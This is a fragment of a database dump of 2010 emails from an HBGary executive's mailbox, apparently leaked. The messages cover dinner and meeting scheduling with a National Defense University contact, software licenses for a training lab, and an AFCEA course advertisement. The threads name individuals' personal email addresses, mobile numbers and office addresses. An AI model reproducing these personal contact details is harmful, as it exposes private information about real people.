Irving;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.net\r\nCc:&nbsp;\'Jim Richards\'; \'Aaron\r\nBarr\'\r\nSubject:&nbsp;RE: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIrving,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIt\r\nwas great to finally meet you too.&nbsp;&nbsp; I&#8217;ll let you know when\r\nI&#8217;m out in DC.&nbsp;&nbsp; I&#8217;ll forward info to Greg.&nbsp; That\r\ndone, let me introduce you to Aaron Barr, CEO of HBGary Federal and Jim\r\nRichards, Global Training.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\nmeet Irving Lachow, Ray Owen and Nathan Atherley.&nbsp; Irving is spearheading\r\nthe development effort which we will be participating with Ray and\r\nNathan.&nbsp; I know we&#8217;ve tried to get with Ray when he&#8217;s out in\r\nDC, but feel free to contact Irving directly.&nbsp; He can be reached at\r\n202-903-7722 (mobile)&nbsp; Ray can be reached at 650-464-5570\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJim,\r\nplease send Irving Responder Pro with DDNA license for one year and Field\r\nEdition for his training room.&nbsp; Irving is at National Defense\r\nUniversity.&nbsp; Irving, the Responder Pro/DDNA is the instructor\r\nlicense.&nbsp; Responder Field Edition has a malware analysis module and\r\nforensic module.&nbsp; How many copies do you need for workstations?&nbsp;\r\nWe&#8217;ll also send you our training and some flip books that allow students\r\nto have a take away.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n300 5th&nbsp;Avenue Bldg 62\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMarshall\r\nHall Room 183H\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFort\r\nLesley J. McNair\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWashington,\r\nDC 20319-5066\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTTYS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Lachow, Irving\r\n[mailto:LachowI@ndu.edu]&nbsp;\r\nSent:&nbsp;Friday, March 19,\r\n2010 8:25 AM\r\nTo:&nbsp;Penny Leavy-Hoglund;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.net\r\nSubject:&nbsp;RE: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nthere.&nbsp; Just wanted to thank you all for a very enjoyable dinner.&nbsp; It\r\nwas great company and I enjoyed learning more about HB Gary.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny,\r\nlet me know if you want POCs at Triumfant.&nbsp; Greg seemed interested in\r\nlearning more about them.&nbsp; Speaking of Greg, please forward this to\r\nhim.&nbsp; When you have a moment, can you connect me with your Federal\r\nteam?&nbsp; Finally, there is the link to the Palantir event in April:&nbsp;http://palantirtech.eventbrite.com/.&nbsp;\r\nI got the date wrong, it is April 7th&nbsp;not 5th.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIrv\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, March 18,\r\n2010 12:56 PM\r\nTo:&nbsp;Lachow, Irving;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.net\r\nSubject:&nbsp;RE: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK,\r\nsounds good\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Lachow, Irving\r\n[mailto:LachowI@ndu.edu]&nbsp;\r\nSent:&nbsp;Thursday, March 18,\r\n2010 7:01 AM\r\nTo:&nbsp;nathan.atherley@gmail.com;&nbsp;penny@hbgary.com;&nbsp;ray.owen@comcast.net\r\nSubject:&nbsp;Re: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNate,\r\nsorry about that. I hope you can join us soon. I don\'t have to leave for a SFO\r\nuntil 8 or so.&nbsp;\r\n_____________________&nbsp;\r\nSent from my Blackberry.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nathan Atherley\r\n&lt;nathan.atherley@gmail.com&gt;&nbsp;\r\nTo: Penny C. Hoglund &lt;penny@hbgary.com&gt;;\r\nLachow, Irving; Ray Owen &lt;ray.owen@comcast.net&gt;&nbsp;\r\nSent: Thu Mar 18 07:55:30 2010\r\nSubject: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRay,\r\nIrv, Penny\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJust\r\nto close the loop from my end.&nbsp; I talked to Ray last night and I believe\r\nIrv has got to catch a red eye tonight.&nbsp; So lets go back to the 6PM dinner\r\ntime.&nbsp; I will be there as soon as possible.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nnathan\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSpalti\'s\r\nrestaurant\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n417\r\nS. California Ave\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPalo\r\nAlto, CA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n650-327-9390\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal\r\nInc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6096,'aaron_hbgary_com/6096.html'),(5834,'2010-04-29','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297004260.M96971P14101Q686.eml','aaron@hbgary.com','Register for Upcoming AFCEA Courses: Electromagnetic Environmental Effects and Data Mining','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n		\r\n               \r\n                   \r\n          \r\n\r\n\r\nRegister for Upcoming AFCEA Courses:\r\n Electromagnetic Environmental Effects and\r\nData Mining \r\n\r\n\r\n\r\n515 Electromagnetic Environmental Effects (E3) and Spectrum Supportability (SS) for Program Managers:&nbsp; May 26.\r\nElectromagnetic Environmental Effects (E3) and Spectrum Supportability (SS) for Program Managers is a one-day course that introduces program office and acquisition personnel to the proper ways to consider&nbsp;(E3) and Spectrum Supportability (SS) concerns in the DoD systems acquisition process.\r\nThis course requires no extensive engineering education or experience. Anyone in government or industry whose responsibilities involve the acquisition or fielding of DoD weapons platforms and systems, including any command, control, communications, computers, or other electronic systems, can benefit. Current military and civilian EMC experts can also benefit from the continuously updated information in the broad range of E3 and SS topics covered in this course.\r\n&nbsp;\r\n603 Data Mining Technologies and Applications in Business Intelligence and National Security: June 2 - 4. \r\n    This course addresses data mining technologies and techniques in detail and examines data mining applications to counterterrorism. The instructor will discuss how data mining could help with national security problems (detecting and preventing terrorism), cyber security problems (detecting malicious intrusions), and other topics (insider threat analysis), and handling real-time threats such as credit card fraud detection.\r\n    Developers of data mining techniques and managers of data mining projects, as well as anyone interested in learning about data mining, should attend. \r\n    Other courses offered in May, June and July: \r\n    340 Automated High Frequency Radio; May 4 - 6. \r\n 320 NEW! The Reality of Radio Communications on the Ground Battlefield; \r\nVirginia Beach, VA, May 12. \r\n\r\n      760 TEMPEST Threat Management; May 19 -20. A final secret clearance is required to attend this course.&nbsp;\r\n      905 NEW! Post 9/11 Compliance and Security in the Global Supply Chain - Best Practices in&nbsp;Leadership and Management; June 16 - 17.\r\n      902 NEW! Project Management Professional;&nbsp;June 21 - 25. \r\n      507 NEW! Software Quality Assurance and Improvement;&nbsp; July 7 - 9\r\n      \r\n    &nbsp;\r\n    All courses will be held in Fairfax, VA unless otherwise noted. \r\n     _____________________________________________________________________\r\n    &nbsp;&nbsp;&nbsp;&nbsp;\r\n    REGISTER NOW&nbsp; (FREE) \r\n    AFCEA Education Summit - May 10, 2010\r\n    BROADCAST LIVE \r\n    2:00 PM to 3:15 PM (EDT)\r\n    Convention Center, Virginia Beach, VA \r\n    see link below . . . \r\n    http://www.afcea.org/education/scholarships/chapters/2010EducationSummit.asp\r\n    _____________________________________________________________________\r\n    For full course descriptions, fees, instructor bios, and to register, click on the applicable course number.\r\n            \r\n          Questions? Check FAQs, email the PDC Registrar at pdc@afcea.org or call PDC Registrar, Jill Malinchak or Gloria Kirkland, at 703-631-6137.\r\n\r\n             \r\n		  \r\n		  \r\n		  \r\n		  \r\n		  \r\n		         \r\n          \r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n	\r\n	  \r\n  \r\n\r\n\r\n\r\n\r\n\r\n',7058,'aaron_hbgary_com/7058.html'),(5835,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004261.M118830P14101Q690.eml','\"Lachow, Irving\" <LachowI@ndu.edu>','Re: Thursday dinner','Hmmm not sure how can I check?From my iPhoneOn Apr 29, 2010, at 5:42 PM, &quot;Lachow, Irving&quot; &lt;LachowI@ndu.edu&gt; wrote:\r\n\r\n\r\n\r\n\r\nGreat.  Will send invitation.  Did you perm cert your\r\nclearance?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, April 29, 2010 5:41 PM\r\nTo: Lachow, Irving\r\nSubject: Re: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n900 on the sixth is good.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 29, 2010, at 5:36 PM, &quot;Lachow, Irving&quot; &lt;LachowI@ndu.edu&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCan\r\nwe do 0900?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Thursday, April 29, 2010 3:48 PM\r\nTo: Lachow, Irving\r\nSubject: Re: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nWhat\r\ntime is good?\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn\r\nApr 29, 2010, at 7:40 AM, Lachow, Irving wrote:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre\r\nyou free on the 6th?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Wednesday, April 28,\r\n2010 10:56 PM\r\nTo: Lachow, Irving\r\nSubject: Re: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWhen\r\nwould you like to get together next?  I think you said something about\r\nnext week?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nApr 6, 2010, at 3:45 PM, Lachow, Irving wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYup. See\r\nyou tomorrow. \r\n_____________________ \r\nSent from my Blackberry.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n\r\nTo: Lachow, Irving \r\nCc: Ray Owen &lt;ray.owen@comcast.net&gt;; nathan.atherley@gmail.com &lt;nathan.atherley@gmail.com&gt; \r\n\r\nSent: Tue Apr 06 13:45:34 2010\r\nSubject: Re: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\nIrving,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre\r\nyou still planning on attending the Palantir conference tomorrow?  HBGary\r\nwill have a booth, so please stop by.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nMar 19, 2010, at 6:11 PM, Lachow, Irving wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\nPenny.  I appreciate the introduction and really appreciate the DDNA\r\nlicense.  Before y’all send that along, let me connect Jim with our\r\nlab people and so they can work this out directly.  They need to work the\r\nlegal process carefully  and also assess where this would fit into the lab’s\r\ncurrent configuration.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\ngot your VM.  Thanks for calling.  The next week is crazy.  Are\r\nyou going to the Palantir event on the 7th? \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCheers,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIrv\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Friday, March 19, 2010\r\n2:11 PM\r\nTo: Lachow, Irving; nathan.atherley@gmail.com; ray.owen@comcast.net\r\n\r\nCc: &#39;Jim Richards&#39;; &#39;Aaron\r\nBarr&#39;\r\nSubject: RE: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIrving,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIt\r\nwas great to finally meet you too.   I’ll let you know when\r\nI’m out in DC.   I’ll forward info to Greg.  That\r\ndone, let me introduce you to Aaron Barr, CEO of HBGary Federal and Jim\r\nRichards, Global Training.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\nmeet Irving Lachow, Ray Owen and Nathan Atherley.  Irving is spearheading\r\nthe development effort which we will be participating with Ray and\r\nNathan.  I know we’ve tried to get with Ray when he’s out in\r\nDC, but feel free to contact Irving directly.  He can be reached at\r\n202-903-7722 (mobile)  Ray can be reached at 650-464-5570\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJim,\r\nplease send Irving Responder Pro with DDNA license for one year and Field\r\nEdition for his training room.  Irving is at National Defense\r\nUniversity.  Irving, the Responder Pro/DDNA is the instructor\r\nlicense.  Responder Field Edition has a malware analysis module and\r\nforensic module.  How many copies do you need for workstations? \r\nWe’ll also send you our training and some flip books that allow students\r\nto have a take away. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n300 5th Avenue Bldg 62\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMarshall\r\nHall Room 183H\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFort\r\nLesley J. McNair\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWashington,\r\nDC 20319-5066\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTTYS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Lachow, Irving\r\n[mailto:LachowI@ndu.edu] \r\nSent: Friday, March 19,\r\n2010 8:25 AM\r\nTo: Penny Leavy-Hoglund; nathan.atherley@gmail.com; ray.owen@comcast.net\r\n\r\nSubject: RE: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nthere.  Just wanted to thank you all for a very enjoyable dinner.  It\r\nwas great company and I enjoyed learning more about HB Gary.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny,\r\nlet me know if you want POCs at Triumfant.  Greg seemed interested in\r\nlearning more about them.  Speaking of Greg, please forward this to\r\nhim.  When you have a moment, can you connect me with your Federal\r\nteam?  Finally, there is the link to the Palantir event in April: http://palantirtech.eventbrite.com/. \r\nI got the date wrong, it is April 7th not 5th.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIrv\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Thursday, March 18,\r\n2010 12:56 PM\r\nTo: Lachow, Irving; nathan.atherley@gmail.com; ray.owen@comcast.net\r\n\r\nSubject: RE: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK,\r\nsounds good\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Lachow, Irving\r\n[mailto:LachowI@ndu.edu] \r\nSent: Thursday, March 18,\r\n2010 7:01 AM\r\nTo: nathan.atherley@gmail.com; penny@hbgary.com; ray.owen@comcast.net\r\n\r\nSubject: Re: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNate,\r\nsorry about that. I hope you can join us soon. I don&#39;t have to leave for a SFO\r\nuntil 8 or so. \r\n_____________________ \r\nSent from my Blackberry.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nathan Atherley\r\n&lt;nathan.atherley@gmail.com&gt; \r\nTo: Penny C. Hoglund &lt;penny@hbgary.com&gt;;\r\nLachow, Irving; Ray Owen &lt;ray.owen@comcast.net&gt; \r\nSent: Thu Mar 18 07:55:30 2010\r\nSubject: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRay,\r\nIrv, Penny\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJust\r\nto close the loop from my end.  I talked to Ray last night and I believe\r\nIrv has got to catch a red eye tonight.  So lets go back to the 6PM dinner\r\ntime.  I will be there as soon as possible.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nnathan\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSpalti&#39;s\r\nrestaurant\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n417\r\nS. California Ave\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPalo\r\nAlto, CA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n650-327-9390\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal\r\nInc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12158,'aaron_hbgary_com/12158.html'),(5836,'2010-04-29','\"Lachow, Irving\" <LachowI@ndu.edu>','/aaron@hbgary.com/new/1297004261.M342863P14101Q691.eml','\"Aaron Barr\" <aaron@hbgary.com>','Aaron Barr and Irv Lachow','\r\n\r\n\r\n\r\n\r\nAaron Barr and Irv Lachow\r\n\r\n\r\n\r\n\r\nWhen: Thursday, May 06, 2010 9:00 AM-10:00 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 2231 Crystal Drive, Suite 900\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n',5319,'aaron_hbgary_com/5319.html'),(5837,'2010-04-29','\"Lachow, Irving\" <LachowI@ndu.edu>','/aaron@hbgary.com/new/1297004261.M563328P14101Q692.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Thursday dinner','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;ll check.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, April 29, 2010 5:43 